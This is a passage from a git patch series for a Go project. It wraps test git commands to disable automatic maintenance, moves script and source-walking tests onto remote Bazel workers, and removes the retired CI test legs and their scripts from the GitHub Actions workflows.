2.55.0. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} + func runGitInDir(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { @@ -1454,7 +1467,7 @@ func TestFindGitRoot_Worktree(t *testing.T) { if err := cmd.Run(); err != nil { t.Fatal(err) } - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -1575,7 +1588,7 @@ func TestFindBeadsDir_Worktree(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -1676,7 +1689,7 @@ func TestFindBeadsDir_WorktreeRedirectOverride(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -1785,7 +1798,7 @@ func TestFindDatabasePath_WorktreeRedirectOverride(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -1908,7 +1921,7 @@ func TestFindBeadsDir_SiblingWorktree(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -2029,7 +2042,7 @@ func TestFindDatabasePath_Worktree(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -2134,7 +2147,7 @@ func TestFindDatabasePath_WorktreeSeparateDB(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -2250,7 +2263,7 @@ func TestFindDatabasePath_WorktreeNoLocalDB(t *testing.T) { cmd = exec.Command("git", "add", "-A") cmd.Dir = mainRepoDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "Initial commit") + cmd = gitCommand("commit", "-m", "Initial commit") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) diff --git a/internal/beads/context_test.go b/internal/beads/context_test.go index 4bcd5eecb..49d704cce 100644 --- a/internal/beads/context_test.go +++ b/internal/beads/context_test.go @@ -1298,7 +1298,7 @@ func initGitRepoWithCommit(dir string) error { if err := addCmd.Run(); err != nil { return err } - commitCmd := exec.Command("git", "commit", "-m", "Initial commit") + commitCmd := gitCommand("commit", "-m", "Initial commit") commitCmd.Dir = dir return commitCmd.Run() } diff --git a/internal/beads/fingerprint_test.go b/internal/beads/fingerprint_test.go index 8a41c404f..8b86a25bf 100644 --- a/internal/beads/fingerprint_test.go +++ b/internal/beads/fingerprint_test.go @@ -339,7 +339,7 @@ func TestComputeRepoID_WorktreeMatchesMainRepo(t *testing.T) { // Create main repo (no remote — forces path-based fingerprint) initFingerprintGitRepo(t, mainRepo, "") // Need at least one commit for worktree creation - cmd := exec.Command("git", "commit", "--allow-empty", "-m", "init") + cmd := gitCommand("commit", "--allow-empty", "-m", "init") cmd.Dir = mainRepo if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -381,7 +381,7 @@ func TestComputeRepoID_WorktreeWithRemoteMatchesMainRepo(t *testing.T) { mainRepo := t.TempDir() initFingerprintGitRepo(t, mainRepo, "https://github.com/test/repo.git") - cmd := exec.Command("git", "commit", "--allow-empty", "-m", "init") + cmd := gitCommand("commit", "--allow-empty", "-m", "init") cmd.Dir = mainRepo if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) @@ -419,7 +419,7 @@ func TestGetCloneID_WorktreeMatchesMainRepo(t *testing.T) { mainRepo := t.TempDir() initFingerprintGitRepo(t, mainRepo, "") - cmd := exec.Command("git", "commit", "--allow-empty", "-m", "init") + cmd := gitCommand("commit", "--allow-empty", "-m", "init") cmd.Dir = mainRepo if err := cmd.Run(); err != nil { t.Fatalf("git commit failed: %v", err) diff --git a/internal/config/worktree_config_test.go b/internal/config/worktree_config_test.go index 1a8fd7185..a16c7fdd0 100644 --- a/internal/config/worktree_config_test.go +++ b/internal/config/worktree_config_test.go @@ -20,9 +20,12 @@ func setupConfigWorktree(t *testing.T) (mainRepoDir, worktreeDir, mainConfigPath t.Fatalf("failed to create main repo dir: %v", err) } + // maintenance.auto=false (gc.auto=0 on git before 2.29) keeps the commit from + // starting the detached "git maintenance run --auto" whose worktree-prune can + // remove the admin dir "git worktree add" is still writing (its locked file). run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := exec.Command("git", append([]string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"}, args...)...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) From 0500fc6f408e2464ecd344c5fcf820d74d3e1aa2 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 22:20:16 +0000 Subject: [PATCH 121/325] ci(bazel): run the scripts and source-walking tests remotely; retire their go test legs (#7320) //scripts:scripts_test and //scripts/check-versions:check-versions_test drop their host-tools/no-remote-exec/no-remote-cache tags and run on the rbe-west workers like every other target (the worker image ships bash, git, python3, jq, yq, curl, openssl, unzip and coreutils; a missing tool fails the test under Bazel rather than skipping it). Go comes in hermetically as the registered SDK; check-versions.sh's `go build` is stood in for by the Bazel-built checker. The tests that walked the source checkout now get it as data: tools/bazel/go_srcs.py keeps a managed `repo_files` filegroup in every package and aggregates them into //:repo_files (exactly the tracked files Bazel can see; make bazel-sync-check fails on a package without one). scripts_test and docsync_test take it instead of hand-listed filegroups, and every TEST_SRCDIR/IsBazel skip and go-test-only block in them is gone. The release formula under .bazelignore'd .beads/ comes in through a @beads_formulas local repository; npm-package/ and .claude/ are visible to Bazel again (only their node_modules/worktrees stay ignored), so the npm manifest release check and the AGENTS.md skill links run under Bazel too. TestZZStdioNotLeaked falls back to TestMain's pre-run streams instead of skipping in a shard without its baseline. tools/bazel/equivalence_allowlist.txt shrinks from 20 skip entries to the two cmd/bd tests of plain go test's own bd build fallback, which Bazel never takes; pr-preflight-platforms now runs them on Linux, macOS and Windows. The scripts-go-checks scripts-test and allowlisted legs, their scripts (scripts-go-test.sh, allowlisted-go-tests.sh, run_allowlisted_go_tests.py) and main.yml's --compile-only warm for them are removed. The vet leg stays (ga-96smfk.18). Refs: ga-96smfk.16 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelignore | 4 +- .github/workflows/main.yml | 48 ++- .github/workflows/pr.yml | 72 +--- BUILD.bazel | 308 ++++++++++++------ MODULE.bazel | 15 + backend/BUILD.bazel | 22 ++ backend/conformance/BUILD.bazel | 22 ++ beadserrors/BUILD.bazel | 22 ++ cmd/bd/BUILD.bazel | 35 +- cmd/bd/doctor/BUILD.bazel | 22 ++ cmd/bd/doctor/fix/BUILD.bazel | 22 ++ cmd/bd/protocol/BUILD.bazel | 22 ++ cmd/bd/setup/BUILD.bazel | 22 ++ cmd/bd/test_repo_beads_guard_test.go | 6 + cmd/bd/zz_stdio_leak_guard_test.go | 28 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 46 +-- format/BUILD.bazel | 22 ++ internal/ado/BUILD.bazel | 22 ++ internal/atomicfile/BUILD.bazel | 22 ++ internal/audit/BUILD.bazel | 22 ++ internal/beads/BUILD.bazel | 22 ++ internal/ceiling/BUILD.bazel | 22 ++ internal/compact/BUILD.bazel | 22 ++ internal/config/BUILD.bazel | 22 ++ internal/configfile/BUILD.bazel | 22 ++ internal/creds/BUILD.bazel | 22 ++ internal/debug/BUILD.bazel | 22 ++ internal/doltremote/BUILD.bazel | 22 ++ internal/doltserver/BUILD.bazel | 22 ++ internal/doltversion/BUILD.bazel | 22 ++ internal/eventsjournal/BUILD.bazel | 22 ++ internal/execenv/BUILD.bazel | 22 ++ internal/fdhygiene/BUILD.bazel | 22 ++ internal/formula/BUILD.bazel | 22 ++ internal/formula/cmd/schemagen/BUILD.bazel | 22 ++ internal/formula/schemagen/BUILD.bazel | 22 ++ internal/git/BUILD.bazel | 22 ++ internal/gitenv/BUILD.bazel | 22 ++ internal/githooksenv/BUILD.bazel | 22 ++ internal/github/BUILD.bazel | 22 ++ internal/gitignore/BUILD.bazel | 22 ++ internal/gitlab/BUILD.bazel | 22 ++ internal/gittraceenv/BUILD.bazel | 22 ++ internal/hooks/BUILD.bazel | 22 ++ internal/httpapi/BUILD.bazel | 22 ++ internal/httpapi/apigen/BUILD.bazel | 22 ++ internal/httpapi/spec/BUILD.bazel | 22 ++ internal/httpapi/wireshape/BUILD.bazel | 22 ++ .../wireshape/cmd/gendigest/BUILD.bazel | 22 ++ internal/httpclient/BUILD.bazel | 22 ++ internal/httpclient/encode/BUILD.bazel | 22 ++ internal/httpclient/wire/BUILD.bazel | 22 ++ internal/idgen/BUILD.bazel | 22 ++ internal/jira/BUILD.bazel | 22 ++ internal/linear/BUILD.bazel | 22 ++ internal/lockfile/BUILD.bazel | 22 ++ internal/memoryapi/BUILD.bazel | 22 ++ internal/metrics/BUILD.bazel | 22 ++ internal/migration/BUILD.bazel | 22 ++ internal/migration/legacysqlite/BUILD.bazel | 22 ++ internal/molecules/BUILD.bazel | 22 ++ internal/notion/BUILD.bazel | 22 ++ internal/procid/BUILD.bazel | 22 ++ internal/query/BUILD.bazel | 22 ++ internal/recipes/BUILD.bazel | 22 ++ internal/remotecache/BUILD.bazel | 22 ++ internal/routing/BUILD.bazel | 22 ++ internal/storage/BUILD.bazel | 22 ++ internal/storage/backendnames/BUILD.bazel | 22 ++ internal/storage/backends/BUILD.bazel | 22 ++ internal/storage/batchbench/BUILD.bazel | 22 ++ internal/storage/batchfixtures/BUILD.bazel | 22 ++ internal/storage/contextinfo/BUILD.bazel | 22 ++ internal/storage/createbatchequiv/BUILD.bazel | 22 ++ internal/storage/dberrors/BUILD.bazel | 22 ++ internal/storage/dbproxy/identity/BUILD.bazel | 22 ++ internal/storage/dbproxy/pidfile/BUILD.bazel | 22 ++ internal/storage/dbproxy/proxy/BUILD.bazel | 22 ++ internal/storage/dbproxy/server/BUILD.bazel | 22 ++ internal/storage/dbproxy/util/BUILD.bazel | 22 ++ internal/storage/depid/BUILD.bazel | 22 ++ internal/storage/dolt/BUILD.bazel | 22 ++ internal/storage/doltutil/BUILD.bazel | 22 ++ internal/storage/domain/BUILD.bazel | 22 ++ internal/storage/domain/db/BUILD.bazel | 22 ++ internal/storage/domain/fs/BUILD.bazel | 22 ++ internal/storage/domain/git/BUILD.bazel | 22 ++ internal/storage/embeddeddolt/BUILD.bazel | 22 ++ internal/storage/embeddeddolt/cmd/BUILD.bazel | 22 ++ internal/storage/externaldeps/BUILD.bazel | 22 ++ internal/storage/fs/BUILD.bazel | 22 ++ internal/storage/git/BUILD.bazel | 22 ++ internal/storage/issueops/BUILD.bazel | 22 ++ internal/storage/journalscan/BUILD.bazel | 22 ++ internal/storage/kvkeys/BUILD.bazel | 22 ++ internal/storage/memoryops/BUILD.bazel | 22 ++ internal/storage/rowid/BUILD.bazel | 22 ++ internal/storage/schema/BUILD.bazel | 28 +- internal/storage/sqlbuild/BUILD.bazel | 22 ++ internal/storage/sqlclass/BUILD.bazel | 22 ++ internal/storage/sqlcount/BUILD.bazel | 22 ++ internal/storage/storagecontract/BUILD.bazel | 22 ++ internal/storage/uow/BUILD.bazel | 22 ++ .../storage/versioncontrolops/BUILD.bazel | 22 ++ internal/telemetry/BUILD.bazel | 22 ++ internal/templates/BUILD.bazel | 22 ++ internal/templates/agents/BUILD.bazel | 22 ++ internal/testutil/BUILD.bazel | 28 +- internal/testutil/bazeltest/BUILD.bazel | 22 ++ internal/testutil/credentialcmd/BUILD.bazel | 22 ++ internal/testutil/fixtures/BUILD.bazel | 22 ++ internal/testutil/integration/BUILD.bazel | 22 ++ internal/timeparsing/BUILD.bazel | 22 ++ internal/tracker/BUILD.bazel | 22 ++ internal/tracker/conformance/BUILD.bazel | 22 ++ internal/types/BUILD.bazel | 22 ++ internal/ui/BUILD.bazel | 22 ++ internal/uimd/BUILD.bazel | 22 ++ internal/utils/BUILD.bazel | 22 ++ internal/validation/BUILD.bazel | 22 ++ internal/versioncheck/BUILD.bazel | 22 ++ internal/versioncheck/check_test.go | 27 +- internal/workapi/BUILD.bazel | 22 ++ internal/workapi/storecounter/BUILD.bazel | 22 ++ internal/workapi/storequerier/BUILD.bazel | 22 ++ internal/workapi/storereader/BUILD.bazel | 22 ++ .../workapi/storereadycounter/BUILD.bazel | 22 ++ internal/workapi/storestats/BUILD.bazel | 22 ++ .../storeversionreconciler/BUILD.bazel | 22 ++ .../workapi/storeworkspaceconfig/BUILD.bazel | 22 ++ internal/workspacegate/BUILD.bazel | 22 ++ internal/worktreeremove/BUILD.bazel | 22 ++ issueops/BUILD.bazel | 22 ++ journalops/BUILD.bazel | 22 ++ memoryops/BUILD.bazel | 22 ++ plugins/beads/BUILD.bazel | 22 ++ schema/BUILD.bazel | 22 ++ scripts/BUILD.bazel | 90 +++-- scripts/bazel_policy_test.go | 138 +++++--- scripts/bazel_skip_allowlist_test.go | 56 ++-- scripts/bench-ready-indexes/BUILD.bazel | 22 ++ scripts/check-testing-short.sh | 5 +- scripts/check-versions/BUILD.bazel | 43 ++- scripts/check-versions/pre_push_hook_test.go | 47 ++- scripts/check-winget-portable-alias.sh | 6 +- scripts/check_testing_short_test.go | 12 +- scripts/check_winget_portable_alias_test.go | 12 +- scripts/checkworkflowtags/BUILD.bazel | 22 ++ scripts/ci/allowlisted-go-tests.sh | 25 -- scripts/ci/scripts-go-test.sh | 26 -- scripts/ci_f7b_review_test.go | 62 +--- scripts/ci_workflow_test.go | 116 +++---- scripts/embedded_shard_count_test.go | 31 +- scripts/gitattributespolicy/BUILD.bazel | 22 ++ scripts/host_tools_test.go | 23 +- scripts/internal/testbash/BUILD.bazel | 22 ++ scripts/migration-test/catalog/BUILD.bazel | 22 ++ scripts/pr-lint/BUILD.bazel | 22 ++ scripts/pr_lanes_bazel_coverage_test.go | 264 ++++----------- scripts/pr_risk_bazel_coverage_test.go | 90 ++--- scripts/prlintmake/BUILD.bazel | 22 ++ scripts/release_script_test.go | 25 +- scripts/repro-dolt-hang/BUILD.bazel | 22 ++ scripts/repro-dolt-prod-timeouts/BUILD.bazel | 22 ++ scripts/test_script_test.go | 13 +- scripts/workflowtags/BUILD.bazel | 22 ++ test/conformance/BUILD.bazel | 22 ++ test/docsync/BUILD.bazel | 30 +- test/docsync/agentfiles_test.go | 26 +- test/testmainconvention/BUILD.bazel | 22 ++ third_party/patches/BUILD.bazel | 22 ++ tools/bazel/BUILD.bazel | 28 +- tools/bazel/equivalence_allowlist.txt | 40 +-- tools/bazel/go_srcs.py | 134 +++++++- tools/bazel/run_allowlisted_go_tests.py | 193 ----------- tools/docsmint/BUILD.bazel | 22 ++ 176 files changed, 4045 insertions(+), 1193 deletions(-) delete mode 100755 scripts/ci/allowlisted-go-tests.sh delete mode 100755 scripts/ci/scripts-go-test.sh delete mode 100755 tools/bazel/run_allowlisted_go_tests.py diff --git a/.bazelignore b/.bazelignore index 541477a1d..02f8e8fdb 100644 --- a/.bazelignore +++ b/.bazelignore @@ -1,9 +1,9 @@ examples/library-usage examples/bd-example-extension-go -npm-package +npm-package/node_modules website node_modules -.claude +.claude/worktrees .worktrees .beads .dolt diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index a05c26274..b9ff6ec52 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -102,18 +102,13 @@ jobs: # pr-preflight-platforms ubuntu legs compile several ./scripts and # ./cmd/bd test binaries but, before this, used no GOCACHE at all (every # run cold-compiled them). This warms the non-race GOCACHE this job - # already saves (below) with exactly those packages, plus the - # allowlisted-go-tests packages scripts-go-checks' allowlisted leg - # needs (--compile-only: the allowlist's own packages, so this can - # never drift from what that leg runs). Shared with + # already saves (below) with exactly those packages. Shared with # blacksmith-go-build-cache's non-race leg (the same-repo-PR path's # seed) so the two paths can never drift apart (F7b spec 4.2). - - name: Warm non-race GOCACHE for preflight/doc-freshness/allowlisted + - name: Warm non-race GOCACHE for preflight/doc-freshness env: GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: | - bash scripts/ci/warm-non-race-cache.sh - python3 tools/bazel/run_allowlisted_go_tests.py --compile-only + run: bash scripts/ci/warm-non-race-cache.sh - name: Save Go module cache if: steps.restore-go-module-cache.outputs.cache-hit != 'true' @@ -844,14 +839,14 @@ jobs: path: ${{ runner.temp }}/go-cache/vet key: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # F7b: pr.yml's scripts-go-checks moved to same-repo Blacksmith - # (blacksmith-4vcpu-ubuntu-2404); this is that path's saver for the race and - # non-race GOCACHEs its scripts-test and allowlisted legs restore (the vet - # leg is already covered by go-vet-cache's venue matrix above). Blacksmith - # runners cannot see caches `actions/cache` saved from a GitHub-hosted - # runner (and vice versa) even for an identical key, so without this every - # same-repo PR's scripts-go-checks race/non-race legs would stay cold - # forever. + # F7b: the saver for the race and non-race GOCACHEs that same-repo-PR + # (Blacksmith, blacksmith-4vcpu-ubuntu-2404) jobs restore: the non-race one + # for pr-preflight-platforms' and check-doc-freshness-platforms' ubuntu + # legs; the race one compiles ./scripts/... with -race (once the compile + # set of scripts-go-checks' retired scripts-test leg). Blacksmith runners + # cannot see caches `actions/cache` saved from a GitHub-hosted runner (and + # vice versa) even for an identical key, so without this those legs would + # stay cold forever. # # The `venue` matrix also seeds the ubuntu-latest (fork/Dependabot) path's # race cache, which the legacy embedded build used to save before Bazel @@ -934,27 +929,22 @@ jobs: key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - # scripts-go-checks' scripts-test leg's exact compile set. -run '^$' - # selects no tests (only compiles), so this needs no Dolt/test-env setup. - - name: Warm race GOCACHE (scripts-go-checks scripts-test leg) + # -run '^$' selects no tests (only compiles), so this needs no + # Dolt/test-env setup. + - name: Warm race GOCACHE if: matrix.flavor == 'race' env: GOCACHE: ${{ runner.temp }}/go-cache/race run: go test -race -run '^$' -tags gms_pure_go ./scripts/... - # scripts-go-checks' allowlisted leg (run_allowlisted_go_tests.py - # --compile-only: the allowlist's own packages, so this can never drift - # from what that leg actually runs) plus pr-preflight-platforms'/ - # check-doc-freshness-platforms' ubuntu legs via warm-non-race-cache.sh, - # shared with build-artifacts' identical steps so the two paths can - # never drift apart (F7b spec 4.2). - - name: Warm non-race GOCACHE (scripts-go-checks allowlisted leg + preflight/doc-freshness) + # pr-preflight-platforms'/check-doc-freshness-platforms' ubuntu legs via + # warm-non-race-cache.sh, shared with build-artifacts' identical step so + # the two paths can never drift apart (F7b spec 4.2). + - name: Warm non-race GOCACHE (preflight/doc-freshness) if: matrix.flavor == 'non-race' env: GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: | - bash scripts/ci/warm-non-race-cache.sh - python3 tools/bazel/run_allowlisted_go_tests.py --compile-only + run: bash scripts/ci/warm-non-race-cache.sh - name: Save race Go build cache if: ${{ !cancelled() && matrix.flavor == 'race' && steps.restore-race-go-build-cache.outputs.cache-hit != 'true' }} diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 1a1fda034..fcb011073 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1070,6 +1070,16 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test '-tags=gms_pure_go' -count=1 -run '^TestGeneratedHookTimeoutProcessBoundary$' ./cmd/bd + # Plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), + # which Bazel never takes, on every OS developers run go test on: the + # tests tools/bazel/equivalence_allowlist.txt lists as skipped under + # Bazel. Same build as the step above, so no second compile. + - name: Exercise go test's bd build fallback + shell: bash + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race + run: go test '-tags=gms_pure_go' -count=1 -run '^(TestGOMODCACHENotUnderTestHome|TestGoBuildBDCommandIsCWDIndependent)$' ./cmd/bd + # This step recompiles ./cmd/bd's test binary. It must share the restored # GOCACHE with the hook-timeout step above (same tags, same platform # default CGO_ENABLED, see the script's header) so it is a relink rather @@ -1202,7 +1212,7 @@ jobs: # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / # test (`bazel test //... --config=ci`, the same selection, checked by its # equivalence step) runs it, and scripts-go-checks runs what Bazel does not - # (./scripts/... and the allowlisted tests under go test, go test's vet). + # (go test's vet). pr-core-wrapper: name: PR Core (wrapper timing) runs-on: ubuntu-latest @@ -1262,20 +1272,15 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/race run: make ci-pr-core - # PR Core's duties the Bazel lanes do not take over (D2 step 3), on every - # PR whatever bazel-coverage says, in PR Core's environment (dolt, git and - # dolt identity, scripts/ci/lib/test-env.sh): - # - `go test ./scripts/...` with PR Core's flags: the repository policy - # tests, several of which check part or all of their rules under go test - # only (scripts/bazel_skip_allowlist_test.go keeps such parts there); - # - go test's own vet checks over ./... (rules_go's go_test runs none); - # - the Go tests `bazel test --config=ci` does not run or skips - # (tools/bazel/equivalence_allowlist.txt), each required to pass. + # PR Core's duty the Bazel lanes do not take over (D2 step 3), on every PR + # whatever bazel-coverage says: go test's own vet checks over ./... + # (rules_go's go_test runs none). The repository policy tests in + # ./scripts/... and the source-walking tests run under Bazel + # (//scripts:scripts_test, //test/docsync over //:repo_files), remotely. # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot, same # pattern as advisory-reports/pr-policy-wrapper/pr-core-wrapper above. - # main.yml's blacksmith-go-build-cache job seeds this leg's race and - # non-race GOCACHEs; go-vet-cache's venue matrix seeds the vet leg's. + # main.yml's go-vet-cache venue matrix seeds the vet leg's GOCACHE. scripts-go-checks: name: Go checks (${{ matrix.check }}) runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} @@ -1283,7 +1288,7 @@ jobs: strategy: fail-fast: false matrix: - check: [scripts-test, vet, allowlisted] + check: [vet] steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1301,14 +1306,6 @@ jobs: key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - name: Restore race Go build cache - if: matrix.check == 'scripts-test' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - name: Restore vet Go build cache if: matrix.check == 'vet' uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 @@ -1321,45 +1318,12 @@ jobs: # match is always filtered out (SF-5). restore-keys: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet- - - name: Restore non-race Go build cache - if: matrix.check == 'allowlisted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - - name: Install Dolt - if: matrix.check == 'scripts-test' || matrix.check == 'allowlisted' - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - if: matrix.check == 'scripts-test' || matrix.check == 'allowlisted' - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Go test the scripts packages - if: matrix.check == 'scripts-test' - env: - BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION: '1' - GOCACHE: ${{ runner.temp }}/go-cache/race - run: bash scripts/ci/scripts-go-test.sh - - name: Go vet with go test's checks if: ${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }} env: GOCACHE: ${{ runner.temp }}/go-cache/vet run: bash scripts/ci/go-test-vet.sh - - name: Run the Go tests the Bazel lane skips - if: ${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'allowlisted' }} - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: bash scripts/ci/allowlisted-go-tests.sh - # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot. # main.yml's pr-lint-wrapper `venue` matrix seeds this leg's golangci-lint diff --git a/BUILD.bazel b/BUILD.bazel index 91c33c0b0..ee65c07ea 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -8,7 +8,8 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") # out of every build except --config=integration (.bazelrc), which sets the tag. # gazelle:build_tags gms_pure_go,integration # integrations/ holds no Go; it stays visible to Bazel (not in .bazelignore) -# only so //test/docsync can declare the markdown its link checks resolve. +# so //:repo_files covers it for //test/docsync's link checks and the +# repository-policy tests in //scripts. # gazelle:exclude integrations gazelle(name = "gazelle") @@ -32,24 +33,6 @@ exports_files( visibility = ["//scripts/gitattributespolicy:__pkg__"], ) -# //scripts:scripts_test checks the pinned golangci-lint version/sha256 in -# engdocs/LINTING.md and the pre-commit hook's separate `go run` pin against -# scripts/ci/install-golangci-lint.sh, so both must be readable as data. -exports_files( - [ - "engdocs/LINTING.md", - ".githooks/pre-commit", - ], - visibility = ["//scripts:__pkg__"], -) - -# //scripts:scripts_test keeps pr.yml's release-target cross-compilation matrix -# in lockstep with the release targets .goreleaser.yml declares. -exports_files( - [".goreleaser.yml"], - visibility = ["//scripts:__pkg__"], -) - # //cmd/bd:bd_test: tracked git hooks (generator parity) and the formula # primitive fixtures. filegroup( @@ -66,37 +49,6 @@ exports_files( visibility = ["//cmd/bd/setup:__pkg__"], ) -# //test/docsync: the Mintlify site, engdocs, root markdown, and the files -# outside those trees that their local links point at. -# -# The out-of-tree link targets are hand-listed: a new docs/engdocs link to a -# file outside these globs passes `go test` but fails under Bazel until the -# target is added here. The globs stop at package boundaries, so no BUILD file -# may live under docs/ or engdocs/ (enforced by scripts/bazel_policy_test.go). -filegroup( - name = "docsync_files", - srcs = glob([ - "*.md", - "docs/**", - "engdocs/**", - ]) + [ - "integrations/beads-mcp/PYPI.md", - "//cmd/bd:AGENTS.md", - "//internal/storage/schema:migrations/README.md", - "//scripts:README.md", - ], - visibility = ["//test/docsync:__pkg__"], -) - -# //scripts:scripts_test workflow-policy and CI-script tests: the whole -# .github tree (workflows, composite actions, CI helper scripts) they parse -# and run. The one whole-tree input the plan allows (it is small). -filegroup( - name = "workflow_files", - srcs = glob([".github/**"]), - visibility = ["//scripts:__pkg__"], -) - # PR Risk's manifest-sharded tiers' shard scripts and their committed # manifests (embedded-Dolt cmd and storage, proxied-server cmd, server-Dolt # storage). The variants (//cmd/bd:bd_embedded_test, //cmd/bd:bd_proxied_test, @@ -122,17 +74,6 @@ exports_files( ], ) -# //scripts:scripts_test runs scripts/test.sh, which sources the canonical -# build flags and reads the known-broken-test skip list. -filegroup( - name = "test_sh_files", - 